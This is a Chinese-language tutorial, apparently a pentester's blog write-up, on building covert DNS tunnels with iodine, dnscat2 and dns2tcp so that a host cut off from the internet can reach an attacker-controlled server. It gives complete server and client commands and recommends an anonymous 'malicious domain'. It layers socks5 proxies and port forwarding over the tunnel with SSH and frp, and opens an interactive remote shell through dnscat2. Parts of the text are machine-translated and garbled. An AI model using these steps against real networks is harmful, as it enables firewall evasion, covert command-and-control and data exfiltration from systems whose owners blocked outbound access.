一、DNS隧道准备和小伙伴看一个站点的时候,发现不能上网,但是站点可以做DNS查询,于是就想着建一个DNS隧道。1.DNS隧道简介DNS隧道是隧道技术的一种。当我们的HTTP、HTTPS等上层协议,正向和反向端口转发都失效时,我们可以尝试使用DNS隧道。DNS隧道很难防范,因为无论是正常业务还是使用,都不可避免的会使用DNS协议进行解析,所以大部分防火墙都允许DNS流量。这时候如果我们在没有联网的机器上构造一个恶意域名(***.xxx.ga),本地的DNS服务器无法给出答案,就会通过以迭代查询的方式上网。权威DNS服务器。最终这个DNS请求会落在我们事先搭建的恶意DNS服务器上,于是我们没有上线的主机就与恶意DNS服务器进行通信。目前搭建DNS隧道的工具有iodine、dnscat、dns2tcp等,我目前使用的是iodine工具搭建。2.前期准备一个域名,公网服务器需要申请一个域名(最好是匿名的,推荐申请网站http://www.freenom.com/zh/index.html),免费和匿名的。申请时直接带后缀申请,否则域名会显示为不可用(例如:jingbao123.ga)。申请完成后,建议将freenom的域名服务器更改为腾讯dnspod。管理域名和配置NS解析更方便。我没有找到freenom的NS记录。dnspod:https://www.dnspod.cn,在dnspod中添加你刚刚申请的域名,然后dnspod会给出两个dns服务器地址,将freenom中的dns服务器改为dnspod提供的地址,即可解析域名名称导致dnspod的权利。dnspod获得域名管理权后,在其中添加两条解析记录。第一条A型记录告诉域名系统“www.woshishui120.ga”的IP地址是“121.xxx.xxx.xxx”第二条NS记录告诉域名系统“ns.woshishui120”的域名.ga”由“www.woshishui120.ga”解析。至此,准备工作已经完成,域名已经绑定到我们的公网服务器上了。2.iodineDNS隧道建立。在我们的公网服务器上安装iodine。该工具的服务器是iodine,客户端是iodine。执行aptinstalliodine命令会同时安装服务端和客户端。1、服务器在公网服务器上部署iodine服务器。(需要root权限才能运行)iodined-f-c-P123.com192.168.200.1ns.woshishui120.ga-DD\-f:在前台运行\-c:禁用检查所有传入请求的客户端IP地址。\-P:用于验证客户端和服务器之间身份的密码。\-D:指定调试级别,-DD指的是第二级。“D”的数量随着级别的增加而增加。这里的192.168.200.1是自定义的局域网虚拟IP地址,建议不要和现有网段冲突!填写的地址就是NS记录。执行命令后会生成一个新的dns0虚拟网卡,ip地址为刚才命令输入的ip地址(192.168.200.1)。**Ubuntu默认打开53端口,通过以下命令关闭53端口**rm/etc/resolv.conf&&echo"nameserverx.x.x.x">>/etc/resolv.conf配置dns服务器(x.x.x.x改为dns服务器,8.8.8.8等)systemctlstopsystemd-resolved停止进程systemctldisablesystemd-resolved关闭开机自启动2.客户端客户端我用的是kali,自带iodine工具。iodine-f-P123.comns.woshishui120.ga-M200-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是无论如何都强制使用DNS隧道-M:指定上行主机的大小。-m:调整最大下游分片的大小。-f:前台运行-T:指定DNS请求类型TYPE,选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。-O:指定数据编码规范。-P:用于在客户端和服务器之间验证身份的密码。-L:指定是否开启惰性模式,默认开启。-I:指定两次请求之间的时间间隔。3、我的客户端执行连接命令后,连接不上(如上图)。一开始以为我的ns记录没有生效,结果中午配置的时候下午试了一下还是不行。我也觉得是腾讯云的原因导致53端口不可用之类的,但是大佬们说53端口可以用,所以才请大家帮忙。最终,老大给的这篇文章有了答案。https://exploit0.cn/archives/571/我的公网服务器属于腾讯云。我在防火墙管理面板只打开了tcp53端口,没有打开udp53端口。DNS解析使用udp53端口。于是赶紧打开了腾讯云防火墙的udp53端口。然后继续执行上面的命令。可以看到已经连接成功了。但是会报编码错误,工具也可以在老板指点后指定编码。参数是-Oiodine-f-P123.comns.woshishui120.ga-M200-Obase64虽然会有编码错误,但是比之前少了很多。连接成功后,kali上也会生成一张虚拟网卡。IP地址分配为192.168.200.2。在Kali上ping公网服务器的虚拟地址,ping通则说明DNS隧道建立成功。现在相当于在公网服务器和kail之间生成了一个虚拟网卡,然后两个虚拟网卡是互通的。在公网服务器上连接kali的虚拟地址,使用ssh做一个动态端口转发。ssh-D60688root@192.168.200.2但此时只相当于在公网服务器192.168.200.1的60688端口上建立了一个socks5代理隧道。如果想在本地使用这个隧道,是不行的,因为192.168.200.1是一个内网地址,不能直接访问,所以需要把数据转发到虚拟网卡地址192.168.200.1的60688端口公网服务器为公网服务器公网地址的端口。我还没有尝试过这个端口转发(我不知道哪个工具会更好)。我使用frp在两个虚拟网卡之间建立反向隧道。4、frp在公网服务器上搭建隧道并启动服务器。然后用kali连接,kali连接的服务器ip就是公网服务器的虚拟网卡的ip。kali显示如下公网服务器显示如下,即在公网服务器的60688端口成功搭建了一条socks5隧道,相当于在dns隧道中socket了socks5隧道。然后就可以通过公网服务器的60688端口浏览Kali的内网了。(但是感觉很卡)3.dnscat2DNS隧道搭建(1)直连模式客户端直接向指定IP地址的DNS服务器发起DNS解析请求1.服务器公网服务器作为服务器rubydnscat2.rb2.客户端dnscat--dnsserver=121.5.145.31,port=53--secret=4575d232b01034db7eae9baa9??ac4dbe2kali作为客户端:命令为服务器输出的命令(上图红圈处,x.x.x.x改成了自己公网服务器的地址)不知道为什么在连接模式下,kali无法连接到服务器(有知道的请告知)(2)中继模式下的DNS是迭代解析的Internet并指向指定的DNS服务器。与直连模式相比,中继模式速度更慢1.服务器公网服务器作为服务器ruby??dnscat2.rbns.woshishui120.ga-eopen--no-cache-c123.com-e:指定Securitylevel,open表示server在client端不加密运行-c:指定key--no-cache:禁用缓存,这个选项必须加上,因为powershell-dnscat2客户端的Caching模式domaindnscat2serverisnotcompatible2.Client客户端Kali作为客户端dnscat--secret=123.comns.woshishui120.ga使用dnscat2搭建dns隧道。构建成功后,会在服务器端生成一个session。进入session2并执行shell后,会生成一个新的session。会话可以执行命令。sessions列出所有sessionsession-i2进入session2shell:创建交互式shellsuspend:返回上一层listen127.0.0.1:888127.0.0.1:22第一个127.0.0.1是服务器ip,第二个127.0.0.10.1为Clientip,将客户端的22端口转为服务器的888端口ssh-p888127.0.0.1四、dns2tcpDNS隧道搭建1、服务器的公网服务器作为服务器,dns2tcp的listen配置文件改成0.0.0.0,(Listeningat0.0.0.0allowsclienttoconnecttotheserver)resources后可以自己改,名称:公网server_ip:端口,格式如下。名称和端口随便设置,公网server_ip就是公网服务器的公网ip。name设置为name,client-r后面的参数是设置的名字。dns2tcpd-f/etc/dns2tcpd.conf-F-d2-f/etc/dns2tcpd.conf》指定配置文件,-F要求程序在前台运行,-d2指定输出调试信息,级别是22.Client客户端kali作为客户端dns2tcpc-rssh-zns.woshishui120.ga-l8888-d2中继模式dns2tcpc-rssh-zns.woshishui120.ga121.5.145.31-l8888-d2直连模式-r后面是服务名
